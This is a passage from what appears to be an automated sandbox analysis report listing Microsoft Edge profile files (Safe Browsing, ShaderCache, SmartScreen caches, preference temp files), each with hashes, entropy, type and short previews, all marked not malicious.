SSDEEP:	49152:5Mrm/fjZR56FFiMnUg5bMgUS4AuGTVd0KdK54RWuBfNvh28ppyBiJKIgwYKaJaDp:Y
MD5:	A59E2BE42B6C267FAD6A3D23D1622669
SHA1:	E14AF559472D60F6A5720063254A188438021470
SHA-256:	1093B352AC1AC7C32D8BEE3539AF4E71BB1AD33927DAD85DAC02D7A762F5FA47
SHA-512:	060A2C6576757E537D70F79074AB617E02A4CD5E3896D5FFD7F601FB0351F858B3736A83F32E279ED047AB4321E18E8236920103BA8679C5BBBBA56625FBEBF8
Malicious:	false
Preview:	........\| .*..\|.....\|. ...\|aaaaagfgdnjcdkncmfkfinnjaiapdblgaaaaaogokkamlflcoccdihncmbgcmflnaaaaaoipnhppjgickhnmdbgfbicakiamaaaaapdcjfaomkafnbpoclmfakjianjdaaaaapiecopgelmleoolpjapkgpglkcbaaaabcdhikdcpainmmjceakmkacogdkoaaaabdgnnajpalbdkkdnknbbbmndbilaaaaabfkbnfjnjldicllofdmjchdancccaaaabgphkbebbdbcibgbppdidkelfoigaaaabibhgjnbdelbcijfciclijhdkgohaaaabmldebjdieoplgdecloipkabiibcaaaaboojhahjgdjeknnemneiajjhhddiaaaabpccljmmhilhhndnjkobdedbpkjpaaaacmnkhlfjgehagffhnhdjfankefglaaaacnnimempmlomnnhdkimkfahjplfpaaaadbhonifkcheeddllhmpapnhcpgiaaaaadbkccgigjdmfmdhgikcckicldhjbaaaadbolalgmogecpogmlebfkpigmpdjaaaaehbfjkafkfgppkjageehakfakfbmaaaaehbppmedegafehiimempeifadcinaaaageoepbmnopkkfeadndbijdghellgaaaagfdmgcibcnlmgiipapnfocaocfneaaaagjojmcedjoignaljgmnihajfhhlpaaaaglldojfgdeaijnfefaggkfjekomeaaaaiihjniipljfegaknmbkneamnoajdaaaainjigbjlofcjekbnjnpiegecbnbaaaaaiognmpgbjoffachmpnnppfnokcbeaaaajcpbcbckoiafnblkdhnldokclbhiaaaajfoihhopfmnlhlnlhogjonmllocoaaaajhoimomebpcfopjpgkbbjdnldoihaaaakdafje

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Safe Browsing\ChromeExtMalware.store_new

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2036465
Entropy (8bit):	4.00153215193634
Encrypted:	false
SSDEEP:	49152:5Mrm/fjZR56FFiMnUg5bMgUS4AuGTVd0KdK54RWuBfNvh28ppyBiJKIgwYKaJaDp:Y
MD5:	A59E2BE42B6C267FAD6A3D23D1622669
SHA1:	E14AF559472D60F6A5720063254A188438021470
SHA-256:	1093B352AC1AC7C32D8BEE3539AF4E71BB1AD33927DAD85DAC02D7A762F5FA47
SHA-512:	060A2C6576757E537D70F79074AB617E02A4CD5E3896D5FFD7F601FB0351F858B3736A83F32E279ED047AB4321E18E8236920103BA8679C5BBBBA56625FBEBF8
Malicious:	false
Preview:	........\| .*..\|.....\|. ...\|aaaaagfgdnjcdkncmfkfinnjaiapdblgaaaaaogokkamlflcoccdihncmbgcmflnaaaaaoipnhppjgickhnmdbgfbicakiamaaaaapdcjfaomkafnbpoclmfakjianjdaaaaapiecopgelmleoolpjapkgpglkcbaaaabcdhikdcpainmmjceakmkacogdkoaaaabdgnnajpalbdkkdnknbbbmndbilaaaaabfkbnfjnjldicllofdmjchdancccaaaabgphkbebbdbcibgbppdidkelfoigaaaabibhgjnbdelbcijfciclijhdkgohaaaabmldebjdieoplgdecloipkabiibcaaaaboojhahjgdjeknnemneiajjhhddiaaaabpccljmmhilhhndnjkobdedbpkjpaaaacmnkhlfjgehagffhnhdjfankefglaaaacnnimempmlomnnhdkimkfahjplfpaaaadbhonifkcheeddllhmpapnhcpgiaaaaadbkccgigjdmfmdhgikcckicldhjbaaaadbolalgmogecpogmlebfkpigmpdjaaaaehbfjkafkfgppkjageehakfakfbmaaaaehbppmedegafehiimempeifadcinaaaageoepbmnopkkfeadndbijdghellgaaaagfdmgcibcnlmgiipapnfocaocfneaaaagjojmcedjoignaljgmnihajfhhlpaaaaglldojfgdeaijnfefaggkfjekomeaaaaiihjniipljfegaknmbkneamnoajdaaaainjigbjlofcjekbnjnpiegecbnbaaaaaiognmpgbjoffachmpnnppfnokcbeaaaajcpbcbckoiafnblkdhnldokclbhiaaaajfoihhopfmnlhlnlhogjonmllocoaaaajhoimomebpcfopjpgkbbjdnldoihaaaakdafje

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.553120663130604E-4
Encrypted:	false
SSDEEP:	3:LsNlCbpl/:Ls3CbL
MD5:	3B149620C2E2CBF9B6925941F589297C
SHA1:	436481F8CEFC0E90BF9C90BBD08DF4CFE4832231
SHA-256:	1F2374859F0FF9B8F3BEFBAB71379FFD7E05D9A5E353BBF7B5BF0F0AF3BEF6A2
SHA-512:	08234D4E9B5F91B245D5903E63485996B0C32ED4978419BEA8713F4376477B5B2AFDFC2EA227F97D116DB9D32578BF80AD43CCF4D919FC8FFE13D53BCD28334E
Malicious:	false
Preview:	........................................9&5.../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\downloadCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.3787834934861767
Encrypted:	false
SSDEEP:	3:ZK7q6:ZA
MD5:	DF741B3F19D9DC2621EAF973C8C9FA9D
SHA1:	F45F1D9791C05366A8A23322D497C89957E75E61
SHA-256:	6E5DDBA6D7AA3B287EA364034E1F843E4146FF92C07D8426F4A7C4B0E6435006
SHA-512:	650DE3F99038BFFBFEF41A9ACC0A06E15803550C6456D0BDEAC9EBE18AEA94AB3A0BB7D85B7A0230CE6F510F5E26FA739FE58924F355D7E3714EC37DAA4C70D2
Malicious:	false
Preview:	downloadCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\downloadCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.003081215010646
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTf2fBfQ9lTozRLuLgfGBkGAeekVy8Hfjg9PIAclRsXd50n:YWLSGT29QjTo9LuLgfGBPAzkVj/EMl4+
MD5:	47984E34B1B48E9C1539BD752D71F163
SHA1:	CC13B2D81217667B50C10ECCDD31795335594FCD
SHA-256:	B79B0A88F2D6DAA2597248E88AC49B5FEED98C37C41FC72EC12DE39894263AA2
SHA-512:	D9C2DD30873DB877762A4756B86E99E51161ACF25FAEAFBF522FDD8BB64E73164D91490CB5572A7216D5CE495EB08208A1DF9CE12FDE38E857F7F5F5F18A2C44
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"80c88511cd45ead0","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":0,"expiration_time":1734534812817828}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.011296354160621
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTf2fBfQ9lTozRLuLgfGBkGAeekVy8HfzXNPIAclRsVTx4Yn:YWLSGT29QjTo9LuLgfGBPAzkVj/T8lQn
MD5:	7B60AE5ED71326A7DE99341C0BC24703
SHA1:	74D37C567F1DE3FEF0B5FC1292C915FB7A083030
SHA-256:	B99CD821566D78579AC66D7447CFC6F4931AA538D1F3935695D9750AAC28DD4C
SHA-512:	6526DEB161100E12AE2D62F265914CB67C43D5ECB816042220E57E7A9BE1469F639F3DD8337F96E4A36BBC2534CA759DF5AA64300F90215C5D93702A1D0A74EA
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"80c88511cd45ead0","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1734534810688359}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	85
Entropy (8bit):	4.3488360343066725
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ25AmIpozQw:YQ3Kq9X0dMgAEiLI2
MD5:	265DB1C9337422F9AF69EF2B4E1C7205
SHA1:	3E38976BB5CF035C75C9BC185F72A80E70F41C2E
SHA-256:	7CA5A3CCC077698CA62AC8157676814B3D8E93586364D0318987E37B4F8590BC
SHA-512:	3CC9B76D8D4B6EDB4C41677BE3483AC37785F3BBFEA4489F3855433EBF84EA25FC48EFEE9B74CAB268DC9CB7FB4789A81C94E75C7BF723721DE28AEF53D8B529
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":true,"variations_crash_streak":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\cff0392e-cf5b-4268-ba48-3ddcacaf7d89.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46126
Entropy (8bit):	6.087595936519239
Encrypted:	false
SSDEEP:	768:VMkbJrT8IeQc5dK5fDi1zNtA/nf9ClJMJTWzXxYPCioNJDSgzMMd6qD47u30d:VMk1rT8H1K9nfqXxWFoNtSmd6qE7f
MD5:	0D750D018ACDF55AF441346222B5DECF
SHA1:	4E913B6658746CF07D5DFF646F15C8562EF8F1A0
SHA-256:	C55308DB78C8340B7E781397CA8C0E2C6673E772B2131A1760442BBB06C1EBF9
SHA-512:	25105F72148F96C1789D165886054F730868FDC76A3533F73FECDB7B96F8635B4EE8572FD3FAEA6010D1F740E6915E19C098FCA579666B02DECA418C76C6084A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13378907603890033","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1734434008"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\e808b89b-b583-46af-aafb-35df90d63e4f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44958
Entropy (8bit):	6.095852239959338
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4xWmYi1zNtA/nf9ClJMJTWzKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7yOQnfqKtSmd6qE7lFoC
MD5:	701C5F17B259221592DB180E4829A7CB
SHA1:	FAE32351984FBE3F3EFF30A6B6D3EAEFD760C2CD
SHA-256:	97EF3A264C4DC55562FD0F0D5BDBB0FAB302C91AD7E29379BA3AE877321D1BBE
SHA-512:	9BA435A2840774612CB7B6FAE733744A31016C2861ED58FE45F7D5D0A98F9C4DF7B476CDA41E7DF36930A4DF42FFB96232FB135EB1850251FDF8B7CBAC94C2A3
Malicious:	false
